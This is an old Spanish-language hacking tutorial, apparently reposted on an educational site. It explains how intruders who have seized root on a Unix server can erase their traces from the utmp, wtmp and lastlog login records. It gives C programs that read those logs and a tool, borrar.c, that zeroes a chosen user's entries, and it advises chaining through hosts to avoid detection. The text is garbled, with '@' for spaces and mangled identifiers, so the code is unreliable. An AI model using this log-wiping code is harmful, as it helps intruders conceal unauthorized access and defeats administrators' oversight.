|
¿
@@@@@@@@@@@@@@@@@ ELIMINANDO NUESTRAS HUELLAS DEL SISTEMA@@@@@@@@@@@@@@@@@
Ĵ
@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@Por: Guybrush@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Ĵ
@@@@@@@@@@@@@@@@@@@@@@@ E-Mail: guybrush@axis.org@@@@@@@@@@@@@@@@@@@@@@@@@
ú¿
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ INDICE@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@ 0-Introduccion
@@@@@@@ 1-Que huellas dejamos cuando trabajamos en un sistema?
@@@@@@@ 2-Por que y cuando es necesario borrar nuestras huellas?
@@@@@@@ 3-Como borrarlas
@@@@@@@ 4-Despedida
ú¿
@@@@@@@@@@@@@@@@@@@@@@@@@@@@ 0-INTRODUCCION@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Existen muchos documentos por ahi que explican como conseguir ser root en
ordenadores que trabajan con Unix. Como capturar el passwd (este o no shadow),
como utilizar los diccionarios, cuentas por defecto, bugs, etc. (Nota: que
aun no sabes como hacer esto? a que esperas para leerte mi articulo sobre
UNIX?. Lo puedes encontrar en varias revistas o puedes pedirmelo por correo).
Bien, pero, que ocurre cuando por fin conseguimos la cuenta root de ese
servidor al que hemos estado intentando entrar desde hace varios meses? Que
podemos hacer para conservar esa cuenta el mayor tiempo posible?
ú¿
@@@@@@@@@@ 1-QUE HUELLAS DEJAMOS CUANDO TRABAJAMOS EN SISTEMA?@@@@@@@@@@@
todos los sistemas basados en unix guardan informacion sobre los usuarios que
se conectan, asi como las ordenes que ejecutan y en caso de ser un host remoto
tambien su direccion de dominio. estos registros son llamados 'logs'.
Pero no todos los Unix son iguales. Podemos encontrarnos con el Unix de IBM
(AIX), el Unix del Sun (SunoS o Solaris), etc. Por lo que algunos guardan los
datos sobre usuarios en directorios distintos a los demas.
Los logs mas importantes son:
@utmp
@----
@Guarda un log de los usuarios que estan utilizando el sistema mientras estan
@conectados a el.
@Lo podemos encontrar en:@ /etc/utmp
@wtmp
@----
@Guarda un log cada vez que un usuario se introduce o sale del sistema.
@Lo podemos encontrar en:@ /var/adm/wtmp
@lastlog
@-------
@Guarda un log del momento exacto en que un usuario entro por ultima vez.
@Lo podemos encontrar en:@ /var/adm/lastlog
ú¿
@@@@@@@ 2-POR QUE Y CUANDO ES NECESARIO BORRAR NUESTRAS HUELLAS?@@@@@@@@@
Mientras seamos un usuario sin privilegios no podremos borrar ninguno de estos
logs, ya que no tendremos permiso para ello. Pero esto tampoco nos debe
importar mucho ya que un administrador no puede saber si hoy a las 17:45 horas
ha entrado en el servidor el usuario 'pepito' o si era un hacker que ha
conseguido su cuenta. A no ser que se lo pregunte a 'pepito' y este diga: 'oh
no, pero si yo a esa hora estaba en el cine ...' @#$%& ... pero bueno, es poco
probable ya que con los pocos privilegios que puede tener un simple usuario no
podemos hacer casi nada en el sistema. Por lo que un administrador medianamen-
te bueno, cada vez que comience una sesion revisara sus logs (los del root)
para ver si hay algo anormal en su cuenta.
Imaginate que por fin consigues esa deseada cuenta root y por no borrar las
huellas, cuando vas el dia siguiente a conectarte ... 'invalid passwd' ... y
eso en el mejor de los casos, porque si no usas 'condones' (conectarte a un
sistema, de ahi a otro, ... y por fin al sistema victima) te pillaran ensegui-
da.
ú¿
@@@@@@@@@@@@@@@@@@@@@@@@@@@ 3-COMO BORRARLAS@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Los ficheros 'utmp', 'wtmp' y 'lastlog', asi como los demas logs adicionales
que puedan presentar otros sistemas, no son ficheros de texto legibles dado
que son estruvturas de datos. Por lo que no podras verlas con un simple editor
de texto, pero si con estos programas:
Primer programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@@@@@@@@@@@@@@@@@@@ editar el fichero 'utmp'@@@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*****/
/*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/
/*****************************************************************************/
/* programa ulog.c */
#include <stdio.h>
#include <utmp.h>
#define UTMP "/etc/utmp"
void main()
{
@@ struct utmp u;
@@ FILe *fichero;
@@
@@ if ((fichero = fopen(UTMP,"r")) == NULL)
@@ {
@@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",UTMP);
@@@@@ exit(0);
@@ }
@@
@@ while (fread(&u, sizeof(u), 1, fichero))
@@ {
@@@@@ printf("%d - ",u.ut_type);
@@@@@ printf("%d - ",u.ut_pid);
@@@@@ printf("%s - ",u.ut_line);
@@@@@ printf("%s - ",u.ut_id);
@@@@@ printf("%d - ",u.ut_time);
@@@@@ printf("%s - ",u.ut_user);
@@@@@ printf("%s - ",u.ut_host);
@@@@@ printf("%d\n",u.ut_addr);
@@ }
@@ fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------
Segundo programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@@@@@@@@@@@@@@@@@@@ editar el fichero 'wtmp'@@@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@*****/
/*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/
/*****************************************************************************/
/* programa wlog.c */
#include <stdio.h>
#include <utmp.h>
#define WTMP "/usr/adm/wtmp"
void main()
{
@@ struct utmp w;
@@ FILe *fichero;
@@
@@ if ((fichero = fopen(WTMP,"r")) == NULL)
@@ {
@@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",WTMP);
@@@@@ exit(0);
@@ }
@@
@@ while (fread(&w, sizeof(w), 1, fichero))
@@ {
@@@@@ printf("%d - ",w.ut_type);
@@@@@ printf("%d - ",w.ut_pid);
@@@@@ printf("%s - ",w.ut_line);
@@@@@ printf("%s - ",w.ut_id);
@@@@@ printf("%d - ",w.ut_time);
@@@@@ printf("%s - ",w.ut_user);
@@@@@ printf("%s - ",w.ut_host);
@@@@@ printf("%d\n",w.ut_addr);
@@ }
@@ fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------
Tercer programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@@@@@@@@@@@@@@@@@@ editar el fichero 'lastlog'@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *****/
/*****@@ @@@@@@@@@@@@@@Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/
/*****************************************************************************/
/* programa llog.c */
#include <stdio.h>
#include <lastlog.h>
#include <pwd.h>
#define LASTLoG "/usr/adm/lastlog"
void main()
{
@@ struct lastlog l;
@@ FILe *fichero;
@@
@@ if ((fichero = fopen(LASTLoG,"r")) == NULL)
@@ {
@@@@@ fprintf(stderr," error : no encontrado el fichero '%s'\n",LASTLoG);
@@@@@ exit(0);
@@ }
@@
@@ while (fread(&l, sizeof(l), 1, fichero))
@@ {
@@@@@ printf("%d - ",l.ll_time);
@@@@@ printf("%s - ",l.ll_line);
@@@@@ printf("%s\n",l.ll_host);
@@ }
@@ fclose(fichero);
}
-------------------------- cortar por aqui -----------------------------------
Con estos 3 programas te daras cuenta de como quedas registrado en el sistema.
puedes utilizarlos desde cualquier usuario aunque no seas root ya que solo
muestran los datos y no los modifican.
Ahora, si consigues ser root, deberas borrarlos. y para eso puedes utilizar
este otro programa:
-------------------------- cortar por aqui -----------------------------------
/*****************************************************************************/
/*****@@ Borrar las huellas de los ficheros 'utmp', 'wtmp' y 'lastlog'@@ *****/
/*****@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ *****/
/*****@@@@@@@@@@@@@@@@ Por Guybrush - guybrush@axis.org@@@@@@@@@@@@@@@@@ *****/
/*****************************************************************************/
/* programa borrar.c */
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <utmp.h>
#include <lastlog.h>
#include <pwd.h>
#define UTMP@@@@ "/etc/utmp"@@@@@@@@ /* ruta del utmp@@@ */
#define WTMP@@@@ "/usr/adm/wtmp"@@@@ /* ruta del wtmp@@@ */
#define LASTLoG@ "/usr/adm/lastlog"@ /* ruta del lastlog */
/***** BoRRAR HUeLLAS De UTMP Y WTMP *****/
void borrar1(char *usuario, char *log)
{
@@ struct utmp u;@@@@ /* usamos la estructura de datos 'utmp'@@@ */
@@ int fd;
@@ int cambio = 0;
@@
@@ if ((fd = open(log,o_RDoNLY)) == 0)
@@ {
@@@@@ fprintf(stderr,"error : no encontrado el fichero %s\n",log);
@@@@@ exit(0);
@@ }
@@
@@ close(fd);
@@
@@ if ((fd = open(log,o_RDWR)) == 0)
@@ {
@@@@ @fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);
@@@@@ exit(0);
@@ }
@@ lseek(fd, 0, SeeK_SeT);
@@ while (read(fd, &u, sizeof(u)))
@@ {
@@@@@ if (!strncmp(u.ut_user, usuario, strlen(usuario)))
@@@@@ {
@@@@@@@@ bzero((char *)&u, sizeof(u));@@@@@@ /* si hay alguna referencia */
@@@@@@@@ lseek(fd, -(sizeof(u)), SeeK_CUR);@ /* sobre el usuario elegido */
@@@@@@@@ write(fd, &u, sizeof(u));@@@@@@@@@@ /* borra las huellas@@@@@@@ */
@@@@@@@@ cambio = 1;
@@@@@ }
@@ }
@@ close(fd);
@@
@@ if (cambio == 0)
@@@@@ fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);
@@ else
@@@@@ fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);
@@@@@
@@ return;
}
/***** BoRRAR HUeLLAS De LASTLoG *****/
void borrar2(char *usuario, char *log)
{
@@ struct lastlog l;@@ /* usamos la estructura de datos 'lastlog' */
@@ struct passwd *pwd; /* usamos la estructura de datos 'passwd'@ */
@@ int fd;
@@ int cambio = 0;
@@
@@ if ((fd = open(log,o_RDoNLY)) == 0)
@@ {
@@@@@ fprintf(stderr,"error : no encontrado el fichero %s\n",log);
@@@@@ exit(0);
@@ }
@@
@@ close(fd);
@@
@@ if ((fd = open(log,o_RDWR)) == 0)
@@ {
@@@@@ fprintf(stderr,"error : no se puede abrir el fichero %s para escritura\n",log);
@@@@@ exit(0);
@@ }
@@ lseek(fd, 0, SeeK_SeT);
@@ if ((pwd = getpwnam(usuario)) == NULL)
@@ {
@@@@@ fprintf(stderr,"error : no existe ese usuario\n");
@@@@@ exit(0);
@@ }
@@ while (read(fd, &l, sizeof(l)))
@@ {
@@@@@ if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SeeK_CUR))
@@@@@ {
@@@@@@@@ bzero((char *)&l, sizeof(l));@ /* si hay alguna referencia al */
@@@@@@@@ write(fd, &l, sizeof(l));@@@@@ /* usuario elegido, borra las@ */
@@@@@@@@ cambio = 1;@@@@@@@@@@@@@@@@@@@ /* huellas@@@@@@@@ @@@@@@@@@@@@*/
@@@@@ }
@@ }
@@ close(fd);
@@
@@ if (cambio == 0)
@@@@@ fprintf(stderr,"No se han encontrado huellas en '%s'\n",log);
@@ else
@@@@@ fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log);
@@@@@
@@ return;
}
/***** FUNCIoN PRINCIPAL *****/
void main(int argc, char *argv[])
{
@@ if (argc != 3)
@@ {
@@@@@ fprintf(stderr, "Uso : %s <usuario> <u|w|l|t>\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ u = utmp\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ w = wtmp\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ l = lastlog\n");
@@@@@ fprintf(stderr,"@@@@@@@@@ t = todo (los tres)\n");
@@@@@ exit(0);
@@ }
@@
@@ if (argv[2][0] == 'l')
@@@@@ borrar2(argv[1], LASTLoG);@@ /* borramos las huellas del lastlog */
@@ if (argv[2][0] == 'u')
@@@@ @borrar1(argv[1], UTMP);@@@@@ /* borramos las huellas del utmp@@@ */
@@ if (argv[2][0] == 'w')
@@@@@ borrar1(argv[1], WTMP);@@@@@ /* borramos las huellas del wtmp@@@ */
@@ if (argv[2][0] == 't')
@@ {
@@@@@ borrar2(argv[1], LASTLoG);
@@@@@ borrar1(argv[1], UTMP);
@@@@@ borrar1(argv[1], WTMP);
@@ }
}
-------------------------- cortar por aqui -----------------------------------
espero que les saques provecho.@@ ;)
Sacado de http://raregazz.islatortuga.com
Aún no hay comentarios para este recurso.
Monografias, Exámenes, Universidades, Terciarios, Carreras, Cursos, Donde Estudiar, Que Estudiar y más: Desde 1999 brindamos a los estudiantes y docentes un lugar para publicar contenido educativo y nutrirse del conocimiento.
Contacto »